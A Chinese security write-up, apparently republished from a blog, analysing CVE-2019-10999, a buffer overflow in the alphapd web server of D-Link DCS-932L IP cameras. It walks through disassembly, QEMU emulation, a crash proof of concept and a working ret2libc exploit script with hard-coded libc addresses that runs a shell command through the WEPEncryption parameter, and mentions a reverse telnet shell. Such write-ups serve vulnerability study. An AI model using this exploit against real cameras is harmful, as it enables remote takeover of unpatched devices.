<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】CVE-2019-10999 Dlink IP 攝像頭緩沖區溢出

    VSole2022-08-04 08:49:57

    漏洞分析

    CVE-2019-10999 是 Dlink IP 攝像頭的后端服務器程序 alphapd 中的一個緩沖區溢出漏洞,漏洞允許經過身份認證的用戶在請求 wireless.htm 時,傳入 WEPEncryption 參數一個長字符串來執行任意代碼。具體描述以及受攻擊的型號、固件版本可以查看參考鏈接,此處漏洞復現采用的是設備 dcs-932l 固件版本 1.14.04,固件下載鏈接查看參考鏈接。

    對后端服務器程序 alphapd 進行分析,存在漏洞的函數是 sub_435DEC,開辟的棧幀大小是 0x48,其中該函數的返回地址保存在 sp + 0x40,存在溢出的緩沖區起始地址是 sp + 0x18。因此,只需要向緩沖區寫入超過 0x28 個字節就可以溢出覆蓋返回地址,劫持控制流。除此之外還可以控制 S0~S5 寄存器。

    如下是 sub_435DEC 棧幀的開辟以及返回地址的存儲匯編代碼:

    .text:00435DEC li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
    .text:00435DF4 addu    $gp, $t9
    .text:00435DF8 addiu   $sp, -0x48
    .text:00435DFC sw      $ra, 0x28+var_s18($sp)
    .text:00435E00 sw      $s5, 0x28+var_s14($sp)
    .text:00435E04 sw      $s4, 0x28+var_s10($sp)
    .text:00435E08 sw      $s3, 0x28+var_sC($sp)
    .text:00435E0C sw      $s2, 0x28+var_s8($sp)
    .text:00435E10 sw      $s1, 0x28+var_s4($sp)
    .text:00435E14 sw      $s0, 0x28+var_s0($sp)
    .text:00435E18 sw      $gp, 0x28+var_18($sp)
    

    如下是調用 strcpy 函數復制數據到棧上的緩沖區中,strcpy 的第一個參數 des 通過 a0 寄存器傳入,由于跳轉延遲槽,對 a0 的操作指令在 jalr 指令之后,但是先于跳轉指令執行:

    .text:00435F98 loc_435F98:                              # CODE XREF: sub_435DEC+134↑j
    .text:00435F98 la      $t9, strcpy
    .text:00435F9C move    $a1, $s1
    .text:00435FA0 jalr    $t9 ; strcpy
    .text:00435FA4 addiu   $a0, $sp, 0x18
    .text:00435FA8 lw      $gp, 0x28+var_18($sp)
    .text:00435FAC b       loc_435E98
    .text:00435FB0 nop
    

    如下是函數執行完畢進行堆棧平衡,以及恢復 S0~S5寄存器、恢復 ra 寄存器到函數返回地址并跳轉執行。

    .text:0004BF34 loc_4BF34:
    .text:0004BF34                 lw      $ra, 0x28+var_s14($sp)
    .text:0004BF38                 lw      $s4, 0x28+var_s10($sp)
    .text:0004BF3C                 lw      $s3, 0x28+var_sC($sp)
    .text:0004BF40                 lw      $s2, 0x28+var_s8($sp)
    .text:0004BF44                 lw      $s1, 0x28+var_s4($sp)
    .text:0004BF48                 lw      $s0, 0x28+var_s0($sp)
    .text:0004BF4C                 jr      $ra
    .text:0004BF50                 addiu   $sp, 0x40
    .text:0004BF50  # End of function system
    

    漏洞環境搭建

    使用 qemu-system-static 搭建

    漏洞環境搭建先是使用 qemu-mipsel-static 搭建。

    # 進入固件的根目錄 復制 qemu-mipsel-static 到根目錄cp $(which qemu-mipsel-static) ./# 使用 qemu 啟動服務器 alphapdsudo chroot . ./qemu-mipsel-static ./bin/alphapd
    

    根據逆向中的反編譯代碼提示,是因為需要打開 /var/run/nvramd.pid 文件,那么在固件根目錄創建 run 目錄和 nvramd.pid 文件。

    創建 pid 文件之后,繼續運行依舊報錯,無法創建 RSA 密鑰,應該是缺少 urandom、random 設備造成的,手動在固件根目錄創建。

    sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/random c 1 8
    sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/urandom c 1 9
    

    報錯 unable to write ‘random state’

    OpenSSL 需要寫入一些信息到 .rnd 文件,上面的錯誤可能是因為 .rnd 文件不存在,OpenSSL 不知道默認文件在何處,因為 RANDFILE 和 HOME 環境變量沒有設置,那么解決方法就是創建 .rnd 文件并且設置環境變量指向這個文件。qemu 啟動的時候設置這兩個環境變量,解決了上面的問題。

    touch .rnd
    sudo chroot . ./qemu-mipsel-static -E HOME=/ -E RANDFILE=/.rnd ./bin/alphapd
    

    Can’t get lan ip from sysinfo

    通過搜索字符串定位到在 websStartupServer 函數中,通過調用 getSysInfoLong 獲取,在 getSysInfoLong 函數中是通過 /dev/gpio 設備獲取到,可以通過 patch getSysInfoLong 函數,或者在 websStartupServer 中 patch 地址判定代碼。此處選擇 patch 后者,就可以讓程序在 0.0.0.0:80 端口運行起來。

    如下是 websStartupServer 的地址判定處反編譯,以及 patch 的基本塊:

      v3 = getSysInfoLong(30);  if ( !v3
        && (v5 = (const char *)nvram_bufget(0, "IPAddress"),
            trace(0, "Can't get lan ip from sysinfo!\n", v4),
            v3 = inet_addr(v5),
            v3 == -1) )
      {
        trace(0, "failed to convert %s to binary ip data", v5);
        result = -1;
      }  else
      {
        v6 = inet_ntoa(v3);
        ...
      }
    

    重新運行如下:

    使用 qemu-system-mipsel 搭建

    發現使用 qemu 搭建的調試,使用 gdb-multiarch 連接不上去,于是采用了 qemu-system-mipsel 虛擬機來搭建,進入固件根目錄。

    chroot . /bin/mknod -m 0666 /dev/random c 1 8
    chroot . /bin/mknod -m 0666 /dev/urandom c 1 9
    touch .rnd
    export HOME=.
    export RANDFILE=$HOME/.rnd
    chroot . ./bin/alphapd_patch_j
    

    漏洞調試

    漏洞觸發

    漏洞觸發代碼如下,也可以看到成功觸發了 segment fault。

    import requests
    Headers = {    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',    'Accept-Language': 'en-US,en;q=0.5',    'Accept-Encoding': 'gzip, deflate',    'Connection': 'keep-alive',    'Referer': 'http://192.168.100.2/setSystemWireless',    'Upgrade-Insecure-Requests': '1'}
    session = requests.session()
    data = '?WEPEncryption=' + 'A' * 0x28 + 'B' * 0x4res = session.get(url='http://192.168.100.2/wireless.htm' + data, headers=Headers)print(res.text)
    

    在 QEMU 虛擬機中開啟 alphapd,然后使用 gdbserver attach 上 server 的進程,通過 12345 端口提供調試

    使用 gdb 調試,如下,保存在棧上的函數返回地址被 BBBB 字符串覆蓋

    漏洞利用

    接下來的步驟就是尋找環視 的 gadget,從棧中獲取數據設置 system 函數傳入的命令,并跳轉到 system 函數執行。

    這個地方需要說一下,不能在 alphapd 中去直接尋找 gadget,因為 alphapd 的代碼段裝載在低地址空間,其中的 gadget 地址高位前兩位是 00,通過 url 傳遞地址會發生截斷。因此可以先看 alphapd 裝載了哪些 so 文件,從 so 中去尋找 system 函數和 gadget。此處選擇了 libuClibc-0.9.28.so ,因為通過 ldd 查看 alphapd 裝載的 so 文件,其中有 libc.so,libc.so 鏈接指向 libuClibc-0.9.28.so。

    這個地方是在 QEMU 虛擬機中通過查看 map 文件獲取 ibuClibc-0.9.28.so 的裝載地址的,如果在實際應用中,需要能夠進入設備,從設備上查看 so 的裝載地址以及是否開啟了隨機化,但是一般低端路由器中都是比較老的 Linux 系統,沒有地址隨機化,那么在 QEMU 中也關閉了地址隨機化。此處選擇了第一個裝載的 libc.so.0 的基址:0x77ed0000

    然后獲取到 system 函數相對裝載地址的偏移是 0x0004BD20,得到 system 函數的地址為 0x77ed0000 + 0x0004BD20 = 0x77F1BD20

    在 IDA 中,對 ibuClibc-0.9.28.so 使用 mipsrop.stackfinder(),找到如下的 gadget,同樣計算出地址為 0x77ed0000 + 0x00050DE4 = 0x77F20DE4

    .text:00050DE4 addiu   $s2, $sp, 0x1C8+var_D8
    .text:00050DE8 move    $a0, $s2
    .text:00050DEC move    $t9, $s0
    .text:00050DF0 jalr    $t9 ;
    

    gadgets 的功能是將 sp + 0x1c8 – 0xd8 處數據傳遞給 a0,然后跳轉到 S0 寄存器中去執行。通過前面對于緩沖區溢出的分析知道 S0 可控,寫入 0x10 個字節開始控制 S0 寄存器,寫入 0x28 個字節開始控制返回地址。那么整體的利用過程就是:

    • 寫入累計 0x10 個字節后,控制 S0 寄存器值為 system 函數地址
    • 寫入累計 0x28 個字節后,控制 ra 寄存器值為 gadget 地址
    • 跳轉到 system 函數,執行構造的字符串命令。此時已經恢復了堆棧, 從恢復的 sp + 0x1c8 – 0xd8 取出命令開始執行

    exp 根據 poc 簡單修改如下:

    import requests
    Headers = {    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',    'Accept-Language': 'en-US,en;q=0.5',    'Accept-Encoding': 'gzip, deflate',    'Connection': 'keep-alive',    'Referer': 'http://192.168.100.2/setSystemWireless',    'Upgrade-Insecure-Requests': '1'}
    session = requests.session()
    data = '?WEPEncryption=' + 'A' * 0x10 + '%20%BD%F1%77' + 'B' * (0x28 - 0x10 - 0x4) + '%E4%0D%F2%77' + (0x30 - 0x28 - 0x4 + 0x1c8 - 0xd8) * 'C' + 'ls'res = session.get(url='http://192.168.100.2/wireless.htm' + data, headers=Headers)
    print(res.text)
    

    執行結果如下,執行命令 ls

    小結

    本文先分析了漏洞原理,然后分別從 qemu 的兩種方式仿真將 alphapd 啟動起來進行調試,然后通過 ret2libc 對漏洞實現利用。

    漏洞原理還是比較簡單的,僅僅是一個緩沖區溢出 + ret2libc的操作。但是實際利用的話,也許還需要獲得設備,通過其他方式例如 UART 等先獲取到一個 shell,然后看程序的 so 加載內存布局獲取到基址。此外,漏洞是將路由器后端 server 發生了棧溢出的,觸發 segment fault,如果路由器沒有對 server 的守護進程或者看門狗,那么 server 就掛了。如果要穩定利用,可以考慮反彈一個 telnet 回來或者是在 exp 中通過 shellcode 重新啟動 server。

    qemu緩沖區溢出
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    CVE-2019-10999 是 Dlink IP 攝像頭的后端服務器程序 alphapd 中的一個緩沖區溢出漏洞,漏洞允許經過身份認證的用戶在請求 wireless.htm 時,傳入 WEPEncryption 參數一個長字符串來執行任意代碼。
    總之,是一個數組越界導致緩沖區溢出的漏洞。
    關于MIPS架構的寄存器及指令集請自行查閱資料,這里就不多作介紹了。,則也會在prologue處保存下來,并在epilogue處取出。流水線指令集相關特性MIPS架構存在“流水線效應”,簡單來說,就是本應該順序執行的幾條命令卻同時執行了,其還存在緩存不一致性(cache
    該漏洞是CGI腳本在處理authentication.cgi請求,來讀取POST參數中的"password"參數的值時造成的緩沖區溢出
    RWCTF 5th Shellfind復現
    2023-01-28 09:45:29
    前言RealWorld CTF 5th 里的一道iot-pwn,根據真實設備固件改編而成,覺得題目貼近iot實戰且很有意思,故在此記錄一下復現過程。題目分析題目描述Hello?從中可以看出漏洞大概率存在于UDP服務中。相比于常規pwn題單一的二進制而言,我們首先要做的是尋找漏洞文件。下載到官方的固件后,可以采取bindiff等方法去找被修改過的二進制文件。可以初步判定漏洞應該是出在ipfind程序中。并且發現此固件為mips大端,且可疑漏洞文件沒開保護。
    前言UPNP協議UPNP,全稱為:Universal Plug and Play,中文為:通用即插即用,是一套基于TCP/IP、UDP和HTTP的網絡協議。UPNP的一大亮點就是,只要某設備支持并開啟了UPNP,當主機向其發出端口映射請求的時候,該設備就會自動為主機分配端口并進行端口映射。
    根據廠商的要求,在修補后的固件未發布前,我對該漏洞細節進行了保密。若讀者將本文內容用作其他用途,由讀者承擔全部法律及連帶責任,文章作者不承擔任何法律及連帶責任。此時,我們驚喜地發現xxx系列產品的xxx型號固件并沒有被加密,可以成功解開。漏洞分析此部分以xxx固件為例進行分析,該固件是aarch64架構的。其他固件也許架構或部分字段的偏移不同,但均存在該漏洞。找到無鑒權的API接口顯然,此類固件的cgi部分是用Lua所寫的。
    該漏洞為華碩RT-ax56u路由器httpd服務中身份驗證后的棧溢出漏洞,由于該路由器在身份
    Kernel PWN從入門到提升
    2023-03-23 10:17:57
    所以我決定用此文章結合一道不錯的例題盡可能詳細的來講一下kernel pwn從入門過渡到較高難度的部分,供想要學習kernel pwn的小伙伴們參考。文件系統kernel題一般都會給出一個打包好的文件系統,因此需要掌握常用到的打包/解包命令。
    為了能夠大規模仿真惡意軟件樣本,我們通過Speakeasy仿真框架。Speakeasy旨在使非惡意軟件分析人員的用戶能夠盡可能輕松地自動獲取分類報告,并使工程師能夠編寫自定義插件來分類惡意軟件。 Speakeasy最初是為了模擬...
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类